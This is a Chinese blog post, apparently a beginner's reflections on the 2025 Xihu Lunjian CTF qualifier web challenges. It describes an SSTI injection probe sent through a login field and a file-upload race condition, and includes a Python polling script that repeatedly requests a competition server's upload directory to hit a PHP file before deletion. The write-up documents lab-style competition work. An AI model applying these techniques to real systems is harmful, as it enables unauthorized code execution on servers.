2025西湖论剑初赛Web有感

由 Polze Li 发布

emmm,作为萌新(混子)接触了今年西湖初赛,看了去年和前年的题目,今年Web题目没有以往那么难,但还是很恶心的,比如说那个RANK-U。我所在的团队0psu3取得了第七名(我就混了个签到题((( )大比赛竞争还是比较激烈的

RANK-I

这道题目是考察SSTI的,我用dirsearch扫出了/console,我判断就是python写的flask框架,然后我想的是打console的ssti或者内存马,忽略了/login和/cpass登录完后的回显。在师兄思路下,/login传入{%print(2)%}在/cpass回显2(登录回显存在于/cpass之后会有一个xxxx格式不对的回显(xxx是/login传入的phone_number))。所以这里想要看到回显就得先对/login发包再对/cpass发包,所以就可以写一个python脚本来执行,然后传入payload即可

RANK-U

这是我认为最恶心的一道题(三个人三台机子跑出来的)

这道题是一个upload题,对文件后缀名没有任何检测,但是上传除png、jpg、gif等图片格式外,均会自动删除,考点就是条件竞争,可是这玩意,三个人三个机子跑条件竞争最后才跑出来,属实恶心了(

对技术没有什么考验,就是拼线程,我们使用bp+python脚本跑的。我个人脚本如下

import time
import requests
import re

# 要检查的网页 URL
url = "http://139.155.126.78:16892/admin/Uploads/1f14bba00da3b75118bc8dbf8625f7d0/"

# 刷新间隔(秒)
refresh_interval = 0.3

def check_for_php_and_open(url):
    try:
        # 发送请求获取页面
        response = requests.get(url)

        # 如果请求失败,打印错误并返回
        if response.status_code != 200:
            print(f"Failed to retrieve page: {response.status_code}")
            return False

        # 获取页面内容(HTML)
        page_content = response.text

        # 检查页面内容是否包含 'php' 字符串
        if 'php' in page_content.lower():
            print("Found 'php' in the page!")

            # 使用正则表达式查找所有包含 .php 后缀的文件链接
            php_files = re.findall(r'href="([^"]+\.php)"', page_content)

            # 打印找到的 .php 文件链接并访问它们
            for php_file in php_files:
                php_url = f"{url}/{php_file}"  # 构造完整的 URL
                print(f"Accessing {php_url}...")

                # 请求 .php 文件页面
                php_response = requests.get(php_url)
                if php_response.status_code == 200:
                    print(f"Successfully accessed {php_url}")
                    print("PHP Page Content:")
                    print(php_response.text)  # 打印访问的 PHP 页面源码
                else:
                    print(f"Failed to access {php_url}")
            return True

        return False

    except Exception as e:
        print(f"Error checking page: {e}")
        return False

while True:
    print(f"Checking {url}...")
    if check_for_php_and_open(url):
        print("Stopping the check after finding and accessing .php files.")
        break  # 找到并访问了 .php 文件后停止检测

    # 等待刷新间隔
    time.sleep(refresh_interval)

0条评论

发表评论


验证码